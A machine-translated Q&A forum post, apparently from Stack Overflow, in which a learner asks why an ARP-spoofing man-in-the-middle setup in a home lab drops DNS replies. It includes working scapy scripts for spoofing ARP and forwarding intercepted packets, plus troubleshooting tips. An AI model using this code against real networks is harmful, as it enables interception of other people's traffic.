2014-02-20 55 views
3

我只是用scapy学习python。我阅读并使用了“Network Hacks - Intensivkurs - Angriff und Verteidigung mit Python”(德语)一书。Scapy转发包

我想用arp-spoofing来尝试一个中间人攻击。 我有我的电脑,受害者(我的覆盆子pi)和标准网关。

为了欺骗,我使用的代码片段从书中

#!/usr/bin/python 

import sys 
import time 
from scapy.all import sniff, sendp, ARP, Ether 

if len(sys.argv) < 3: 
    print sys.argv[0] + " <target> <spoof_ip>" 
    sys.exit(0) 

iface = "wlan1" 
target_ip = sys.argv[1] 
fake_ip = sys.argv[2] 

ethernet = Ether() 
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at") 
packet = ethernet/arp 

while True: 
    sendp(packet, iface=iface) 
    time.sleep(10) 

它的工作原理,我的受害者表示我的Mac作为网关。 受害者使用正确的ip发送数据包,但使用我的mac地址。 现在受害者应该打开一个网站(wget http // example.com),我想使用Wireshark来读取流量。但我必须重定向包(DNS和TCP/HTTP)。我与此代码试了:

#!/etc/usr/python 

from scapy.all import * 
import sys 

iface = "wlan1" 
filter = "ip" 
VICTIM_IP = "192.168.2.108" 
MY_IP = "192.168.2.104" 
GATEWAY_IP = "192.168.2.1" 
VICTIM_MAC = "### don't want so show###" 
MY_MAC = "### don't want so show###" 
GATEWAY_MAC = "### don't want so show###" 

def handle_packet(packet): 
    if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC): 
     packet[Ether].dst = GATEWAY_MAC 
     sendp(packet) 

     print "A packet from " + packet[IP].src + " redirected!" 

sniff(prn=handle_packet, filter=filter, iface=iface, store=0) 

Wireshark的示出了具有正确DATAS的分组(IP源=受害者IP,IP目的地=网关IP,MAC源=受害者MAC,MAC目的地=网关MAC)。 网关是一个DSL路由器,所以也是一个“DNS服务器”。

但是我的Raspberry没有收到DNS响应。我的错是什么?

此致,

MatStorm

+0

攻击者上的Wireshark是否显示DNS响应? – nmichaels

回答

0

一件事Scapy的不会为你做的是处理防火墙问题;在这种情况下,您可以很好地关闭攻击主机上的主机防火墙。您正在制作的数据包不使用通常的数据包路径。

另外,当你转发数据包时,你是在翻译源地址,以便回复到你吗?我在代码中看不到...